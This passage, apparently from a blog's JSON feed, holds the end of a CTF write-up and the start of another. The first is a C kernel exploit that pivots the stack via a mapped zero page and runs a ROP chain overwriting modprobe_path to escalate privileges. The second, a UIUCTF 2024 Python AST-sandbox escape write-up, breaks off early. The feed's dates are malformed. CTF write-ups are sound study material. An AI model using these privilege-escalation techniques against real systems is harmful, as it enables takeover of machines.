style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0xc000\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x10000\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ePROT_READ\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ePROT_WRITE\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ePROT_EXEC\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eMAP_PRIVATE\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eMAP_ANONYMOUS\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eMAP_FIXED\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003echar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eaddr\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003emmap\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x1000\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ePROT_READ\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ePROT_WRITE\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ePROT_EXEC\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eMAP_PRIVATE\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eMAP_ANONYMOUS\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eMAP_FIXED\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003elong\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0xffffffff81037fbf\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e//0xffffffff81037fbf: mov esp, 0x39e8825b; ret;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efd1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eopen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;/dev/chal\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efd2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eopen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;/dev/chal\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eassert\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efd1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eassert\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efd2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eclose\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efd2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003esave_state\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003elong\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003elong\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x39e8825b\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// gadgets:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e// 0xffffffff813089e2: mov qword ptr [rsi], rcx ; add bl, ch ; ret\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e// 0xffffffff81ae90ce: pop rsi; ret \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e// 0x61616e77702f7265: pop rcx; ret\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003elong\u003c/span\u003e \u003cspan style=\"color:#111\"\u003emodprobe\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xffffffff82ed18c0\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003elong\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ekpti_trampoline\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xffffffff81e0191e\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003elong\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epoprsi\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xffffffff81ae90ce\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003elong\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epoprcx\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xffffffff81d08613\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003elong\u003c/span\u003e \u003cspan style=\"color:#111\"\u003emov\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xffffffff813089e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003esize_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epoprsi\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003emodprobe\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epoprcx\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x73752f656d6f682f\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// /home/us   \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003emov\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epoprsi\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003emodprobe\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epoprcx\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x61616e77702f7265\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// er/pwnaa    \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003emov\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ekpti_trampoline\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// dummy rax\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// dummy rdi\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003euser_rip\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003euser_cs\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003euser_rflags\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003euser_sp\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003earr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003euser_ss\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eioctl\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efd1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eflag: \u003ccode\u003eingehack{you_can_say_you_have_ZERO_LIMITS!!_badum_tss_🥁}\u003c/code\u003e\u003c/p\u003e\n","url":"https://nothoudaifa.github.io/posts/ingehack-zero/","date_published":"26026-26-09T20:2626:00+00:00","date_modified":"26026-26-09T20:2626:00+00:00","author":{"name":"nothoudaifa","url":"https://nothoudaifa.github.io/"}},{"id":"8817ca56a57d86de5cad9c39c16ffc9953d584f8","title":"astea chall writeup from uiuctf 2024","summary":"","content_text":"Understanding the code: We are given this python file\nimport ast def safe_import(): print(\u0026#34;Why do you need imports to make tea?\u0026#34;) def safe_call(): print(\u0026#34;Why do you need function calls to make tea?\u0026#34;) class CoolDownTea(ast.NodeTransformer): def visit_Call(self, node: ast.Call) -\u0026gt; ast.AST: return ast.Call(func=ast.Name(id=\u0026#39;safe_call\u0026#39;, ctx=ast.Load()), args=[], keywords=[]) def visit_Import(self, node: ast.AST) -\u0026gt; ast.AST: return ast.Expr(value=ast.Call(func=ast.Name(id=\u0026#39;safe_import\u0026#39;, ctx=ast.Load()), args=[], keywords=[])) def visit_ImportFrom(self, node: ast.ImportFrom) -\u0026gt; ast.AST: return ast.Expr(value=ast.Call(func=ast.Name(id=\u0026#39;safe_import\u0026#39;, ctx=ast.Load()), args=[], keywords=[])) def visit_Assign(self, node: ast.Assign) -\u0026gt; ast.AST: return ast.Assign(targets=node.targets, value=ast.Constant(value=0)) def visit_BinOp(self, node: ast.BinOp) -\u0026gt; ast.AST: return ast.BinOp(left=ast.Constant(0), op=node.op, right=ast.Constant(0)) code = input(\u0026#39;Nothing is quite like a cup of tea in the morning: \u0026#39;).splitlines()[0] cup = ast.parse(code) cup = CoolDownTea().visit(cup) ast.fix_missing_locations(cup) exec(compile(cup, \u0026#39;\u0026#39;, \u0026#39;exec\u0026#39;), {\u0026#39;__builtins__\u0026#39;: {}}, {\u0026#39;safe_import\u0026#39;: safe_import, \u0026#39;safe_call\u0026#39;: safe_call}) i used chatgpt to understand most of this.\nthis python file takes your code and parse’s it using the ast python module.\ncheck the docs for the ast module.\nafter parsing it, it runs it through CoolDownTea().visit function. the CoolDownTea class inherits from ast.NodeTransformer, what this does is go through the generated ast and change the nodes in it based on the defined functions in the CoolDownTea Class.\nthe CoolDownTea class does 4 things:\nit turns any function call it sees into a call of the safe_call function. it turns any import syntax (import module, from module import a) into a call to safe_import function. it turns any assignment (specificaly ast.Assign nodes in the ast, this will be important later) into a zero assignment eg: a=2 will become a = 0. it turns any binary operation into the binary operation on two zeros so 1+1 would become 0+0. after that, it compiles and executes the code using exec it sets builtins to {} and sets two functions safe_call and safe_import.\nExploration: Looking at this from afar it seems impossible to do anything since we don’t have any builtin function and even if we did we can’t call because it will be changed to safe_call call.\nor is 